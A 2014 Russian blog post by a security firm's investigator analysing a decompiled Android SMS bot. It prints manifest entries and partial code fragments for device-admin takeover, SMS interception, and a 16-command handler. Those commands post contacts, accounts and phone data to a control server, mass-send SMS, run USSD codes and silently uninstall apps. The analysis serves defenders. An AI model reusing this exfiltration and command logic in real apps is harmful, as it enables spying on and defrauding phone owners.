information security
77,27
рейтинг
31 июля 2014 в 00:43

Разработка → Анализ sms-бота для Android. Часть II

Анализ sms-бота для Android. Часть II


Продолжение статьи Анализ sms-бота для Android. Часть I

Вступление

Еще один бот под Android, рассылаемый по «красивым» номерам вида 8***6249999 и т.д. Смской приходит ссылка вида: «Посмотрите, что о Вас известно» или «Информация для владельца» и т.д. названиесайта.ру/7***6249999"

Процесс вскрытия Android-приложений:

  • Скачиваем APK-файл;
  • Извлекаем файл манифеста;
  • Декомпилируем приложение в читаемый исходный или байт-код;
  • Анализируем манифест и код.


Джентльменский набор инструментов:

  • Apktool – Используем для того чтобы вытащить манифест и ресурсы;
  • Dex2jar – Декомпилируем APK-файл в байт-код;
  • Jd-gui – Байт-код переводим в читабельный код.


Читаем манифест

В манифесте сразу бросаются в глаза следующие строчки кода:
<receiver android:name=".IncomingSmsReceiver" android:exported="true">
…
</receiver>
<receiver android:name=".OnReboot" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true">
….
</receiver>
<receiver android:name=".AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
…
</receiver>
<receiver android:name=".RunService$Alarm" android:exported="true">
…
</receiver>
 <service android:name=".RunService" />


Из среза манифеста становится понятно что собирается делать бот:
  • Получать и обрабатывать все входящие СМС;
  • Будет что-то выполнять при перезагрузке устройства;
  • Попытается получить права администратора устройства;
  • И запускает какой-то сервис. Скорее всего этот сервис будет ждать поступления новых команд (например, управляющего сервера);

Далее, по манифесту:
   <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.INTERNET" />


Невооруженным глазом видно, что наш бот хочет получить разрешения на:
  • Запуск после ребута;
  • Получение аккаунтов;
  • Получение/отправку/написание/чтение СМС-ок;
  • Получение состояния телефона;
  • Интернет;

Итак, уже примерно проясняются намерения бота.

Mainactivity.java

Теперь переходим к анализу классов. Их у нашего бота 17 штук.
После анализа каждого из них я пришел к выводу самые основные, то есть заслуживающие внимание, из них следующие:
  • MainActivity.java;
  • Runservice.java;
  • IncomingSmsReceiver.java;
  • HandlerCMD.java;

В выше указанных классах сосредоточена основная логика бота, остальные классы – вспомогательные.

Посмотрим, что есть в классе MainActivity.
В ниже указанном, коде бот пытается получить права Админа:
this.devicePolicyManager = ((DevicePolicyManager)getSystemService("device_policy"));
if (!this.devicePolicyManager.isAdminActive(this.adminReceiver))
  {
          GetAdministrator localGetAdministrator = new GetAdministrator();
          localGetAdministrator.execute(new Void[0]);
          return;
    }


Далее, при закрытии программы он попытается запустить класс сервиса(о нем поговорим чуть ниже):
      Class localClass = Class.forName("com.driver.android.system.RunService");
      Intent localIntent = new Intent(this, localClass);
      startService(localIntent);


RunService.java

Из названия данного класса становится понятно, что он делает. Да, он запускает сервис, который:
  • проверяет свой статус;
  • получает команды от управляющего сервера и запускает обрабатывающий хэндлер;
  • проверяет исходящие СМС каждые 60 секунд;
  • блокирует звонки номеров, которые занесены в черный список бота;
  • отправляет на сервер все исходящие СМС-ки.


IncomingSmsReceiver.java

Данный класс используется как BroadcastReceiver. Из названия понятно, что данный класс нужен для получения входящих СМС-ок и отправки их содержимого на сервер. Вот подтверждающий срез кода:
localHashMap.put("addmsg",
localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(localStringBuffer6.append(localStringBuffer7.append("-->\nОтправитель: ").append(str1).toString()).append("\nТекст сообщения: ").toString()).append(str2).toString()).append("\nДата: ").toString()).append(str5).toString() + "\n-->\n\n");
SendNewSMS localSendNewSMS = new SendNewSMS(paramContext);
localSendNewSMS.execute(new HashMap[] { localHashMap });


HandlerCMD.java

По моему мнению, это самый интересный класс. Тут явно можно увидеть все функции которые выполняет бот. Данный класс тесно взаимодействует с классом Command.java, в котором расписаны действия каждой из команд. Управляющий сервер отправляет команды в виде массива строк. Хэндлер его обрабатывает и проверяет первый элемент массива paramArrayOfString[0] на наличие значения от «1» до «16». А теперь давайте пройдемся по каждой функции.

При получении «1» отправка СМС на определенный номер
    if (str1.equals("1") == true)
    {
      Commands localCommands1 = new Commands(this.context);
      localCommands1.smska(paramArrayOfString);
    }


Установка нового IP-адреса сети
      if (str1.equals("2") == true)
      {
        …
        localCommands2.newIp(paramArrayOfString[1].trim());
        … }


<b>Проверить на права админа и отправить результат на сервер</b>
<source lang="Java">      if (str1.equals("3") == true)
      {
        …
        if (localCommands3.getAdministrator()) {}
        …
        localSendPostData1.execute("http://" + this.server_ip, localHashMap1);
        …  }


Отправка на сервер всех онлайн аккаунтов пользователя
      if (str1.equals("4") == true)
      {...
        String str4 = localCommands4.getAllAccounts();
        …
    localSendPostData2.execute("http://" + this.server_ip, localHashMap2);
     …     }


Отправка на сервер список установленных приложений
      if (str1.equals("5") == true)
      {
        …
        String str5 = localCommands5.getInstallApps();
        …
        localSendPostData3.execute("http://" + this.server_ip, localHashMap3);
        …  }


Очистка «черного списка»
      if (str1.equals("6") == true)
      { …
        localCommands6.clearBL();
        …     }


Получить от сервера текст СМС-ки и разослать абонентам из локальной адресной книги
      if (str1.equals("7") == true)
      { …
        localCommands7.deliveryPhoneBook(paramArrayOfString);
        …      }


Разослать СМС-ки по списку номеров полученных от сервера
      if (str1.equals("8") == true)
      { …
        localCommands8.deliveryFromBase(paramArrayOfString);
        …  }


Получить все номера абонентов и отправить на сервер
      if (str1.equals("9") == true)
      {
        PhoneBook localPhoneBook = new PhoneBook(this.context);
        ArrayList localArrayList = localPhoneBook.getNumbers();
        …
        localSendPostData4.execute("http://" + this.server_ip, localHashMap4);
        …     }


Отправить на сервер информацию о операторе сотовой связи
      if (str1.equals("10") == true)
      { …
        String str7 = localCommands9.getProvider();
        …
        localSendPostData5.execute("http://" + this.server_ip, localHashMap5);
        …  }


Отправить на сервер версии приложений
      if (str1.equals("11") == true)
      { …
        String str8 = localCommands10.getVersionApp();
        …
        localSendPostData6.execute("http://" + this.server_ip, localHashMap6);
        … }


Отправить версию Андроида
      if (str1.equals("12") == true)
      { …
        String str9 = localCommands11.getVersionOS();
        …
        localSendPostData7.execute("http://" + this.server_ip, localHashMap7);
        …  }


Отправить код страны
      if (str1.equals("13") == true)
      { …
        String str10 = localCommands12.getCountry();
        …
        localSendPostData8.execute("http://" + this.server_ip, localHashMap8);
        … }


Отправить номер телефона устройства
      if (str1.equals("14") == true)
      { …
        String str11 = localCommands13.getPhoneNumber();
        …
        localSendPostData9.execute("http://" + this.server_ip, localHashMap9);
        …      }


Получение от сервера и исполнение, а также отправка результата выполнения USSD-сообщений
      if (str1.equals("15") == true)
      { …
        localCommands14.USSD(paramArrayOfString);
        …  }


Удаление приложения в теневом режиме
      if (str1.equals("16") == true)
      {
        Commands localCommands15 = new Commands(this.context);
        localCommands15.uninstallApp(paramArrayOfString);
        return;
      }


Выводы

Подведем итоги анализа. Бот написан более грамотно, в отличии от предыдущего. Но так же есть огрехи в защите кода. Никакой обфускации и шифрования. Благодаря чему удалось увидеть в коде IP адреса сервера, на который бот отправляет и получает данные.

Набиев Нурлан (Казахстан), отдел расследования киберпреступлений, PentestIT
Автор: @pentestit-team
Pentestit
рейтинг 77,27
information security
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Комментарии (5)

  • 0
    Никакой обфускации и шифрования.

    Не думаю, что это важно ввиду того, что на большинстве смартов нет ничего, что могло бы противодействовать этому ПО. Если злоумышленник узнает данные для доступа к ЛК каких-нибудь платежных систем, и, имея доступ к смс подтверждениям на смартфоне, он сможет управлять счетами итд. А IP адреса, на которые устанавливаются соединения можно и сетевыми анализаторами глянуть, хотя трафик все же лучше шифровать чем-нибудь асимметричным.
  • 0
    if (str1.equals(«13») == true)

    Бот написан более грамотно
    Гм…
    Мне кажется, тут код уровня «Learn Java in 21 day» в лучшем случае.
    Тем более, что вроде как ничего сложного код и не делает.

    P.S. Почему вы тег <source> не используете?
    • +2
      Спасибо!
    • +4
      Это не оригинальный код.

      > Декомпилируем приложение в читаемый исходный или байт-код;

      • +1
        Само собой, не оригинальный.
        Но == true там могло появиться только в случае, если его туда зачем-то вкорячил автор зловреда, а декомпилятор не выкинул.
        Древний JAD бесполезные сравнения выкидывает, а JD — оставляет.

        Что бы не быть голословным
        Исходный код:

        public class Test {
        
        	public static void senor() {
        		if ("FOO".equals("BAR")) {
        			System.out.println("Señor");
        		}
        	}
        
        	public static void junior() {
        		if ("FOO".equals("BAR") == true) {
        			System.out.println("Junior");
        		}	
        	}
        
        }
        


        X:\>javac -version
        javac 1.7.0_45
        

        Байт-код:

          public static void senor();
            Code:
               0: ldc           #2                  // String FOO
               2: ldc           #3                  // String BAR
               4: invokevirtual #4                  // Method java/lang/String.equals:(Ljava/lang/Object;)Z
               7: ifeq          18
              10: getstatic     #5                  // Field java/lang/System.out:Ljava/io/PrintStream;
              13: ldc           #6                  // String Señor
              15: invokevirtual #7                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
              18: return        
        
          public static void junior();
            Code:
               0: ldc           #2                  // String FOO
               2: ldc           #3                  // String BAR
               4: invokevirtual #4                  // Method java/lang/String.equals:(Ljava/lang/Object;)Z
               7: iconst_1      
               8: if_icmpne     19
              11: getstatic     #5                  // Field java/lang/System.out:Ljava/io/PrintStream;
              14: ldc           #8                  // String Junior
              16: invokevirtual #7                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
              19: return        
        
        



        Как видите, избыточное сравнение никуда из тела метода junior() не делось.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка